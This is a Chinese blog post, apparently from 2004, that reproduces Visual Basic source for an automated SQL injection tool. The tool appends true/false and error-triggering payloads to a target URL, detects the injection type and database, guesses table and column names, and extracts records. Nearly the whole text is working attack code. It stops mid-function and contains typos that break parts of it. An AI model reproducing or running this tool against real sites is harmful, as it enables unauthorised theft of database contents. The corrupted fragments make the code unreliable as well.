            TxtSelectedValue.Enabled = False: TxtSelectedValue.Text = "当前记录提示"
           
            btnGetTable.Enabled = False
            btnGetField.Enabled = False
      &nbs;     btnGetRecord.Enabled = False
           
            btnAddTable.Enabled = False
            btnAddField.Enabled = False
            btnDelTable.Enabled = False
            btnDelField.Enabled = False
            btnExport.Enabled = False
            UrlChanged = False
        Else
            btnCheck.Enabled = False
            URL.Text = TmpURL.Text
            Exit Sub
        End If
    End If
   
    ProgressBar.Value = 0
    TxtURL = URL.Text
    If InStr(TxtURL, "?") = 0 Or InStr(TxtURL, ".") = 0 Or InStr(TxtURL, "=") = 0 Or InStr(Replace(TxtURL, "//", ""), "/") = 0 Then
        Call MsgBox("待测网址格式有误，请检查！", 64, "提示信息")
        URL.SetFocus
        Exit Sub
    End If
   
    Pos = InStr(TxtURL, "//") + 2
    SiteAddress = Mid(TxtURL, Pos)
    Pos = InStr(SiteAddress, "/") - 1
    SiteAddress = Left(SiteAddress, Pos)
    SiteAddress = Replace(SiteAddress, "'", "''")
    TxtSiteAddress.Text = SiteAddress
   
    If btnCheck.Caption = "再检测" Then
        KeyWord = TxtKeyword.Text
        If Len(KeyWord) = 0 Then
            Call MsgBox("请输入特征字符!", 64, "提示信息")
            Exit Sub
        End If
        btnCheck.Enabled = False
        Decide_Method = FunDecide_Method_ByKeyword(TxtURL, KeyWord)
        If Decide_Method > 0 Then
            TxtKeyword.Enabled = False
        Else
            If LoginYN Then btnCheck.Enabled = True
            OptDecide_Method(0).Caption = "没有找到注入方法，破解失败"
            Exit Sub
        End If
        sql = "Update SiteList set KeyWord='" & Replace(KeyWord, "'", "''") & "',Decide_Method=" & Decide_Method & " Where SiteID=" & SiteID
        conn.Execute (sql)
    Else
        sql = "Select Top 1 * from SiteList Where SiteAddress='" & SiteAddress & "' And Decide_Method>0 order by SiteID desc"
        Set rs = conn.Execute(sql)
        If Not rs.EOF Then
            Message = "您于" & rs("Inject_Time") & "尝试注入网站：" & SiteAddress & vbCrLf & vbCrLf & _
                        "是否加载该次注入结果？"
            SelectedValue = MsgBox(Message, 4 + 32, "提示信息")
            If SelectedValue = 6 Then
                SiteID = rs("SiteID")
                Call LoadOldData(SiteID)
            Else
                SiteID = 0
            End If
        End If
        Set rs = Nothing
       
        If SiteID = 0 Then
            sql = "Select max(SiteID) as MaxID from SiteList"
            Set rs = conn.Execute(sql)
            SiteID = IIf(IsNull(rs("MaxID")), 1, rs("MaxID") + 1)
            Set rs = Nothing
           
            sql = "Insert Into SiteList(SiteID,SiteAddress,InjectURL) values(" & SiteID & ",'" & SiteAddress & "','" & TxtURL & "')"
            conn.Execute (sql)
        Else
            Exit Sub
        End If
        sql = "Update Setting set SetValue='" & TxtURL & "' where SetName='LastURL'"
        conn.Execute (sql)
       
        Decide_Method = FunDecide_Method(TxtURL)
        If Decide_Method = 11 Then
            Decide_Method = 1
            Inject_Method = 1
            Database_Type = 1
        ElseIf Decide_Method = 21 Then
            Decide_Method = 1
            Inject_Method = 2
            Database_Type = 1
        ElseIf Decide_Method = 31 Then
            Decide_Method = 1
            Inject_Method = 3
            Database_Type = 1
        End If
        sql = "Update SiteList set Decide_Method=" & Decide_Method & &quo; Where SiteID=" & SiteID
        conn.Execute (sql)
    End If
   
    OptDecide_Method(0).Enabled = False
    OptDecide_Method(0).Value = False
    OptDecide_Method(Decide_Method).Enabled = True
    OptDecide_Method(Decide_Method).Value = True
    MethodGet.Enabled = False
    MethodPost.Enabled = False
   
    Select Case Decide_Method
    Case 1
        btnAnalyse.Enabled = True
        Help.Text = "提示：" & vbCrLf & "系统检测到可使用HTTP报头错误捕抓，无需输入特征字符" & vbCrLf & "请直接进入下一步：[分析]"
        Call Continue_Analyse
    Case 2
        btnAnalyse.Enabled = True
        If btnCheck.Caption = "再检测" Then
            Call Continue_Analyse
        Else
            Help.Text = "提示：" & vbCrLf & "请输入特征字符并点击[分析]按钮，系统将自动检测注入方式及数据库类型！"
        End If
    Case 0
        TxtKeyword.Enabled = True
        TxtKeyword.SetFocus
        btnCheck.Caption = "再检测"
        btnHelp.Enabled = True
        Help.Text = "提示：" & vbCrLf & "暂时没有检测到注入方法（不表示破解任务失败）" & vbCrLf & "请输入网页特征字符并点击[再测试]按钮，系统会使用另一方法进行测试"
    End Select
    ProgressBar.Value = 100
End Sub

Private Sub Continue_Analyse()
    ProgressBar.Value = 0
    btnAnalyse.Enabled = False
    If OptInject_Method(0).Value = False And OptInject_Method(0).Value = False And OptInject_Method(0).Value = False Then
        If Inject_Method = 0 Then
            If Decide_Method = 1 Then
                Inject_Method = FunInject_Method(TxtURL)
            Else
                If Len(TxtKeyword.Text) = 0 Then
                    Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
                    Exit Sub
                End If
                Inject_Method = FunInject_Method_ByKeyword(TxtURL, KeyWord)
            End If
        End If
    End If
    If Inject_Method > 0 Then
        OptInject_Method(Inject_Method - 1).Enabled = True
        OptInject_Method(Inject_Method - 1).Value = True
    End If
   
    If Database_Type = 0 Then
        If Decide_Method = 1 Then
            Database_Type = FunDatabase_Type(TxtURL, Decide_Method, Inject_Method)
        Else
            If Len(TxtKeyword.Text) = 0 Then
                Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
                Exit Sub
            End If
            Database_Type = FunDatabase_Type_ByKeyword(TxtURL, Decide_Method, Inject_Method)
        End If
    End If
   
    If Database_Type > 0 Then
        OptDatabase_Type(Database_Type - 1).Enabled = True
        OptDatabase_Type(Database_Type - 1).Value = True
    End If
   
    sql = "Update SiteList set Inject_Method=" & Inject_Method & ",Database_Type=" & Database_Type & " Where SiteID=" & SiteID
    conn.Execute (sql)
   
    Help.Text = "提示:" & vbCrLf & "分析完毕，本网址可注入，请进入下一步骤：表名猜解"
   
    btnGetTable.Enabled = True
    txtTableName.Enabled = True
    btnAddTable.Enabled = True
    TableList.Enabled = True
    TxtKeyword.Enabled = False
    ProgressBar.Value = 100
End Sub

Private Sub LoadOldData(ByVal SiteID As Integer)
    sql = "Select * from SiteList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    If Not rs.EOF Then
        Decide_Method = rs("Decide_Method")
        OptDecide_Method(Decide_Method).Enabled = True
        OptDecide_Method(Decide_Method).Value = True
       
        If Decide_Method = 2 Then
            KeyWord = IIf(IsNull(rs("Keyword")), "", rs("Keyword"))
            'TxtKeyword.Enabled = True
            TxtKeyword.Text = KeyWord
        End If
       
        Inject_Method = rs("Inject_Method")
        If Inject_Method > 0 Then
            OptInject_Method(Inject_Method - 1).Enabled = True
            OptInject_Method(Inject_Method - 1).Value = True
        End If
       
        Database_Type = rs("Database_Type")
        If Database_Type > 0 Then
            OptDatabase_Type(Database_Type - 1).Enabled = True
            OptDatabase_Tpe(Database_Type - 1).Value = True
        End If
       
        btnCheck.Enabled = False
    End If
    Set rs = Nothing
    Call ReloadTableName(SiteID)
    TableList.Enabled = True
    txtTableName.Enabled = True
    btnGetTable.Enabled = True
    btnAddTable.Enabled = True
End Sub

Private Sub RecordList_Click()
    On Error Resume Next
    FieldArr = Split(TxtRecordField.Text, ",")
    ValueArr = Split(RecordList.List(RecordList.ListIndex), "|")
    For i = 0 To UBound(FieldArr) - 1
        RecordStr = RecordStr & FieldArr(i) & ":" & ValueArr(i) & " "
    Next
    TxtSelectedValue.Text = Left(RecordStr, Len(RecordStr) - 1)
    On Error GoTo 0
End Sub

'----------------------------------------------------------------------------------------------
' Operate of Table
'----------------------------------------------------------------------------------------------
Private Sub TableList_Click()
    If TableList.ListIndex >= 0 Then
        btnDelTable.Enabled = True
        If Left(TableList.List(TableList.ListIndex), 2) = "Y_" And btnGetTable.Caption = "猜解表名" Then
            btnGetField.Enabled = True
            FieldList.Enabled = True
            txtFieldName.Enabled = True
            btnAddField.Enabled = True
        Else
            btnGetField.Enabled = False
            FieldList.Enabled = False
            txtFieldName.Enabled = False
            btnAddField.Enabled = False
        End If
    End If
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    txtTableName.Text = TableNameSelected
    Call ReloadFieldName(SiteID, TableNameSelected)
End Sub

Private Sub btnGetTable_Click()
    ProgressBar.Value = 0
    If btnGetTable.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetTable.Caption = "猜解表名"
    Else
        StopFlag = False
        btnGetTable.Caption = "停止猜解"
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        Call FunGet_TableName(TxtURL)
        btnGetTable.Caption = "猜解表名"
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        Help.Text = "提示:表名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddTable_Click()
    TableName = txtTableName.Text
    If TableName = "" Or InStr(TableName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunTableExist(TxtURL, TableName)
        sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
        conn.Execute (sql)
        sql = "Insert into TableList(SiteID,TableName,isValidated) values(" & SiteID & ",'" & TableName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadTableName(SiteID)
        TableList.ListIndex = TableList.ListCount - 1
    End If
End Sub

Private Sub btnDelTable_Click()
    Selected = TableList.ListIndex
    TableName = Mid(TableList.List(Selected), 3)
    sql = "Delete from TableList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    conn.Execute (sql)
    Call ReloadTableName(SiteID)
    If Selected > 0 Then TableList.ListIndex = IIf(Selected > TableList.ListCount - 1, TableList.ListCount - 1, Selected)
End Sub

Private Sub ReloadTableName(ByVal SiteID As Integer)
    TableList.Clear
    sql = "Select * from TableList Where SiteID=" & SiteID
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        TableList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("TableName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub

'----------------------------------------------------------------------------------------------
' Operate of Field
'----------------------------------------------------------------------------------------------
Private Sub btnGetField_Click()
    ProgressBar.Value = 0
    If btnGetField.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetField.Caption = "猜解列名"
    Else
        StopFlag = False
        FieldList.Enabled = True
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
       
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = Fals
       
        btnGetField.Caption = "停止猜解"
        TableName = TableList.List(TableList.ListIndex)
        TableName = Mid(TableName, 3)
        Call FunGet_FieldName(TxtURL, TableName)
        btnGetField.Caption = "猜解列名"
       
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
       
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        Help.Text = "提示:列名猜解完成"
    End If
    ProgressBar.Value = 100
End Sub

Private Sub btnAddField_Click()
    FieldName = txtFieldName.Text
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
   
    If FieldName = "" Or InStr(FieldName, " ") > 0 Then
        Call MsgBox("请输入特征字符!", 64, "NBSI提示信息")
    Else
        isValidated = FunFieldExist(TxtURL, TableName, FieldName)
        sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
        conn.Execute (sql)
        sql = "Insert into FieldList(SiteID,TableName,FieldName,isValidated) values(" & SiteID & ",'" & TableName & "','" & FieldName & "'," & isValidated & ")"
        conn.Execute (sql)
        Call ReloadFieldName(SiteID, TableName)
        FieldList.ListIndex = FieldList.ListCount - 1
    End If
End Sub

Private Sub btnDelField_Click()
    TableName = Mid(TableList.List(TableList.ListIndex), 3)
    Selected = FieldList.ListIndex
    FieldName = Mid(FieldList.List(Selected), 3)
    sql = "Delete from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "' And FieldName='" & FieldName & "'"
    conn.Execute (sql)
    Call ReloadFieldName(SiteID, TableName)
    If Selected > 0 Then FieldList.ListIndex = IIf(Selected > FieldList.ListCount - 1, FieldList.ListCount - 1, Selected)
End Sub

Private Sub ReloadFieldName(ByVal SiteID As Integer, ByVal TableName As String)
    FieldList.Clear
    sql = "Select * from FieldList Where SiteID=" & SiteID & " And TableName='" & TableName & "'"
    Set rs = conn.Execute(sql)
    Do While Not rs.EOF
        FieldList.AddItem (IIf(rs("isValidated"), "Y", "N") & "_" & rs("FieldName"))
        rs.MoveNext
    Loop
    Set rs = Nothing
End Sub

Private Sub FieldList_Click()
    If FieldList.ListIndex >= 0 Then
        btnDelField.Enabled = True
    Else
        btnDelField.Enabled = False
    End If
    First_Loop = True
    FieldListMain = ""
    FieldListSub = ""
    Count_FieldsSelected = 0
    For i = 0 To FieldList.ListCount - 1
        If FieldList.Selected(i) Then
            Count_FieldsSelected = Count_FieldsSelected + 1
            If First_Loop Then
                btnGetRecord.Enabled = True
                txtCondition.Enabled = True
                txtRecStart.Enabled = True
                Sort_Field = FieldList.List(i)
                First_Loop = False
            End If
           
            FieldNameSelected = Mid(FieldList.List(i), 3)
            If Database_Type = 3 Then
                FieldListMain = FieldListMain & "cstr([" & FieldNameSelected & "])%2Bchr(124)%2B"
            Else
                FieldListMain = FieldListMain & "isNull(cast([" & FieldNameSelected & "] as varchar(8000)),char(32))%2Bchar(124)%2B"
            End If
            FieldListSub = FieldListSub & FieldNameSelected & ","
        End If
    Next
    If First_Loop Then btnGetRecord.Enabled = False
   
    If Right(FieldListMain, 3) = "%2B" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 3)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 11) = "%2Bchr(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 11)
    If Count_FieldsSelected > 1 And Right(FieldListMain, 12) = "%2Bchar(124)" Then FieldListMain = Left(FieldListMain, Len(FieldListMain) - 12)
   
    TableNameSelected = Mid(TableList.List(TableList.ListIndex), 3)
    FieldNameSelected = Mid(FieldList.List(FieldList.ListIndex), 3)
    txtFieldName.Text = FieldNameSelected
   
    If Right(FieldListSub, 1) = "," Then AscStr = Left(FieldListSub, Len(FieldListSub) - 1)
    DescStr = Replace(FieldListSub, ",", " desc,")
    If Right(DescStr, 1) = "," Then DescStr = Left(DescStr, Len(DescStr) - 1)
End Sub

'----------------------------------------------------------------------------------------------
' Operate of Record
'----------------------------------------------------------------------------------------------
Private Sub btnGetRecord_Click()
    ProgressBar.Value = 0
    If btnGetRecord.Caption = "停止猜解" Then
        StopFlag = True
        Main.Enabled = False
        btnGetRecord.Caption = "猜解记录"
    Else
        StopFlag = False
        RecordList.Enabled = True
        TxtSelectedValue.Enabled = True
        btnExport.Enabled = True
       
        btnGetField.Enabled = False
        FieldList.Enabled = False
        txtFieldName.Enabled = False
        btnAddField.Enabled = False
        btnDelField.Enabled = False
       
        btnGetTable.Enabled = False
        TableList.Enabled = False
        txtTableName.Enabled = False
        btnAddTable.Enabled = False
        btnDelTable.Enabled = False
        txtCondition.Enabled = False
        txtRecStart.Enabled = False
       
        btnGetRecord.Caption = "停止猜解"
        TxtRecordField.Text = FieldListSub
        TxtRecordTable.Text = Mid(TableList.List(TableList.ListIndex), 3)
        Call FunGet_Record(TxtURL)
        btnGetRecord.Caption = "猜解记录"
       
        btnGetField.Enabled = True
        FieldList.Enabled = True
        txtFieldName.Enabled = True
        btnAddField.Enabled = True
        btnDelField.Enabled = True
       
        btnGetTable.Enabled = True
        TableList.Enabled = True
        txtTableName.Enabled = True
        btnAddTable.Enabled = True
        btnDelTable.Enabled = True
        txtCondition.Enabled = True
        txtRecStart.Enabled = True
    End If
    ProgressBar.Value = 100
End Sub

'----------------------------------------------------------------------------------------------
' Step 1: Decide_Method
'----------------------------------------------------------------------------------------------
Public Function FunDecide_Method(ByVal URL_Source As String) As Integer
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & " and user%2Bchar(124)>0")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 11
            Exit Function
        End If
    End If
   
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "' and user%2Bchar(124)>0 and ''='")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 21
            Exit Function
        End If
    End If
   
    ResultArray = CommonGetHTTPHeadAndBody(URL_Source & "%25' and user%2Bchar(124)>0 and '%25'='")
    Pos = InStr(ResultArray(1), "varchar")
    If InStr(ResultArray(0), HTTP_500_INC) > 0 And Pos > 0 Then
        Pos_CRLF = InStr(Pos, ResultArray(1), vbLf)
        LineStr = Mid(ResultArray(1), Pos, Pos_CRLF - Pos)
        If InStr(LineStr, " and user+char(124)") = 0 Then
            FunDecide_Method = 31
            Exit Function
        End If
    End If
   
    Inject_Method = FunInject_Method(URL_Source)
   
    If Inject_Method = 0 Then
        FunDecide_Method = 0
    Else
        FunDecide_Method = 1
        OptInject_Method(Inject_Method - 1).Enabled = True
        OptInject_Method(Inject_Method - 1).Value = True
    End If
    Exit Function
End Function

Public Function FunDecide_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
    ResultNumTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
    ResultStrTrue = CommonGetHTTPBody(URL_Source & "' And ''='")
    ResultSchTrue = CommonGetHTTPBody(URL_Source & "%25' And '%25'='")
    ResultNumFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
    ResultStrFalse = CommonGetHTTPBody(URL_Source & "' And 'FALSE'=")
    ResultSchFalse = CommonGetHTTPBody(URL_Source & "%25' And ''=")
    If (InStr(ResultNumTrue, KeyWord) > 0 Or InStr(ResultStrTrue, KeyWord) > 0 Or InStr(ResultSchTrue, KeyWord) > 0) And _
        (InStr(ResultNumFalse, KeyWord) = 0 Or InStr(ResultStrFalse, KeyWord) = 0 Or InStr(ResultSchFalse, KeyWord) = 0) Then
        FunDecide_Method_ByKeyword = 2
    Else
        FunDecide_Method_ByKeyword = 0
    End If
End Function

'----------------------------------------------------------------------------------------------
' Step 2: Inject_Method
'----------------------------------------------------------------------------------------------
Public Function FunInject_Method(ByVal URL_Source As String) As Integer
    FunInject_Method = 0
   
    ResultTrue = CommonGetHTTPHead(URL_Source & " And 1=1")
    ResultFalse = CommonGetHTTPHead(URL_Source & " And 1=2")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 1
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPHead(URL_Source & "' And 1=1 And ''='")
    ResultFalse = CommonGetHTTPHead(URL_Source & "' And 1=2 And ''='")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 2
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPHead(URL_Source & "%25' And 1=1 And '%25'='")
    ResultFalse = CommonGetHTTPHead(URL_Source & "%25' And 1=2 And '%25'='")
    If InStr(ResultTrue, HTTP_200_INC) > 0 And InStr(ResultFalse, HTTP_500_INC) > 0 Then
        FunInject_Method = 3
        Exit Function
    End If
End Function

Public Function FunInject_Method_ByKeyword(ByVal URL_Source As String, ByVal KeyWord As String) As Integer
    ResultTrue = CommonGetHTTPBody(URL_Source & " And 1=1")
    ResultFalse = CommonGetHTTPBody(URL_Source & " And 1=2")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 1
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPBody(URL_Source & "' And 1=1 And ''='")
    ResultFalse = CommonGetHTTPBody(URL_Source & "' And 1=2 And ''='")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 2
        Exit Function
    End If
   
    ResultTrue = CommonGetHTTPBody(URL_Source & "%25' And 1=1 And '%25'='")
    ResultFalse = CommonGetHTTPBody(URL_Source & "%25' And 1=2 And '%25'='")
    If (InStr(ResultTrue, KeyWord) > 0 And InStr(ResultFalse, KeyWord) = 0) Then
        FunInject_Method_ByKeyword = 3
        Exit Function
    End If
End Function

'----------------------------------------------------------------------------------------------
' Step 3: Database_Type
'----------------------------------------------------------------------------------------------
Public Function FunDatabase_Type(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
    If Inject_Method = 1 Then
        Result200 = CommonGetHTTPHead(URL_Source & " And (Select Count(1) from SYSObjects)>0")
    ElseIf Inject_Method = 2 Then
        Result200 = CommonGetHTTPHead(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
    ElseIf Inject_Method = 3 Then
        Result200 = CommonGetHTTPHead(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
    End If
   
    If InStr(Result200, HTTP_200_INC) > 0 Then
        If Inject_Method = 1 Then
            Result500 = CommonGetHTTPBody(URL_Source & " And (Select Top 1 char(65) from SYSObjects)>0")
        ElseIf Inject_Method = 2 Then
            Result500 = CommonGetHTTPBody(URL_Source & "' And (Select Top 1 char(65) from SYSObjects)>0 And ''='")
        ElseIf Inject_Method = 3 Then
            Result500 = CommonGetHTTPBody(URL_Source & "%25' And (Select Top 1 char(65) from SYSObjects)>0 And '%25'='")
        End If
       
        If InStr(Result500, "varchar") > 0 Then
            FunDatabase_Type = 1
        Else
            FunDatabase_Type = 2
        End If
    Else
        FunDatabase_Type = 3
    End If
End Function

Public Function FunDatabase_Type_ByKeyword(ByVal URL_Source As String, ByVal Decide_Method As Integer, ByVal Inject_Method As Integer) As Integer
    If Inject_Method = 1 Then
        Result200 = CommonGetHTTPBody(URL_Source & " And (Select Count(1) from SYSObjects)>0")
    ElseIf Inject_Method = 2 Then
        Result200 = CommonGetHTTPBody(URL_Source & "' And (Select Count(1) from SYSObjects)>0 And ''='")
    ElseIf Inject_Method = 3 Then
        Result200 = CommonGetHTTPBody(URL_Source & "%25' And (Select Count(1) from SYSObjects)>0 And '%25'='")
    End If
   
    If (InStr(Result200, KeyWord) > 0) Then

- 作者： 10wWhy 2004年07月26日, 星期一 04:44　 回复（7） |　 引用（0） 加入博采